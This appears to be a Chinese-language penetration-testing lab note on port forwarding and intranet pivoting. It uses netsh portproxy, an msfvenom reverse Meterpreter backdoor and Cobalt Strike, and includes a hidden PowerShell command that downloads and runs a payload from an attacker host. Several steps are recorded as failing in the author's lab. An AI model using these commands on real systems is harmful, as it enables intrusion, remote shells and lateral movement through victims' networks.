隧道应用
隧道应用
端口映射
是指将一台主机的内网(LAN)IP 地址映射成一个公网(WAN)IP 地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;
利用端口映射功能还可以将一台外网地址机器的多个端口映射到内网不同机器上的不同端口。
端口映射与端口转发
端口映射与端口转发,用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。
端口映射与端口转发实现的功能类似,但又不完全一样。
- 端口映射是将外网的一个端口完全映射给内网一个地址的指定端口
- 端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口
端口映射可以实现外网到内网和内网到外网双向的通信,而映射转发只能实现外网到内网的单向通信
netsh 端口映射
netsh 是 windows 系统自带的一个命令行工具,这个工具可以内置中端口转发功能。以下是一个常见的场景
在b的服务器上存在 7777 端口是 WEB 服务,现在想要 kali 能访问b服务器的7777 端口上的内容 因为不在同一个网段 kali不能直接访问B 而且B服务器不能直接出网。
这里用vm+python简单搭个环境,没有用两个虚拟机,用了双网卡
win: |
再用python指定另一个网卡的端口启动一个服务器
import socket |
windows 自带的端口转netsh interface portproxy可以通过这个小工具在 A 服务器设置端口转发。
查看本机所有代理端口 |
1.设置转发
netsh interface portproxBy add v4tov4 listenaddress =代理服务器ip地址 listenport=设置的端口 connectaddress=B服务器(ip) connectport=端口 |
netsh interface portproxy add v4tov4 listenaddress=192.168.174.135 listenport=7777 connectaddress=10.10.10.153 connectport=8888 |
这时候访问192.168.174.135:7777同样能访问8888端口服务
3.其它
netsh interface portproxy delete v4tov4 listenport=7777 //清除指定规则 |
netsh端口映射meterpreter
在服务器A上可以通过设置代理访问B服务器.如果拿到b服务器的权限 通常是生成正向的后门,然后kali的msf可以正向连接B服务器,由此得到metperter,进而进行其他操作。如果服务器B上有防火墙拦截,kali的 msf 不能正向连接上后门,为解决这问题,可以通过生成一个反向后门连接到服务器A上,在服务器A上再通过端口映射或者转发到 kali的 msf上。
1.msf生成反向后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.153 lport=4455 -f exe>r.exe |
2.然后移动到双网卡的win里,执行命令
netsh interface portproxy add v4tov4 listenaddress=10.10.10.153 listenport=4455 connectaddress=192.168.174.137 connectport=4455 |
这样在执行r.exe时,就会通过外网网卡反弹shell了
3.启动msf
msfconsole |
然后在win里运行r.exe,可以看到返回来的shell
cs多层内网上线
cobalt strike 简称 cs,它作为 APT 攻击神器,APT长期是以攻击企业内网为主所以考虑到内网穿透。内网穿透方式,分为正向和反向,正向是可以直连内网主机,反向是让受害者反向连接。正向连接可以直接连接目标得到权限。下面是一个正向连接图。存在两个段 teamserver,不允许访问B,现在服务器上A有权限。可以通过cs的正向连接连接B
cs正向链接多层内网
首先A服务上已经有了cs的后门。通过后门查看网络信息发现存在10.10.10.0/24因为网段 A是可以访问B 的 所以在 teammserver 通过A作为作为跳板可以访问B.
1.上线主机
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.174.160:80/a'))" |
2.在win上执行该语句
回到攻击机里查看cs,发现主机上线
但这里有点不一样,我的内网地址没读取到
3.生成监听器
选择beacon-tcp
4.生成win server的后门
在靶机上执行
4.连接内网环境
connect 10.10.10.153:4444 |
能连确实能连,但因为环境问题,所以没有什么效果,还是要再来一台机子模拟内网环境
不懂为什么还是一样的效果,应该是环境没配好
cs反向链接多层内网
上面介绍到正向连接到多层内网,如果在B服务器上有防火墙进行拦截,那么正向连接就会连接失败。为了解决这一问题可以采用 cobalt strike 的反向连接。反向连接可以突破防火墙的拦截,因为是从服务器内部反向连接出站。以下是一个存在防火墙的反向连接teammserver 的图
Teamserver通过A连接B是不允许的。因为有防火墙拦截,正向连接失败。怎么解决?可以用反向连接突破。
1.设置中转,在原有会话的基础上
2.生成后门
3.复制到目标主机上
到这里失败了,还是得解决最开始那个环境得问题,要想办法让cs识别到双网卡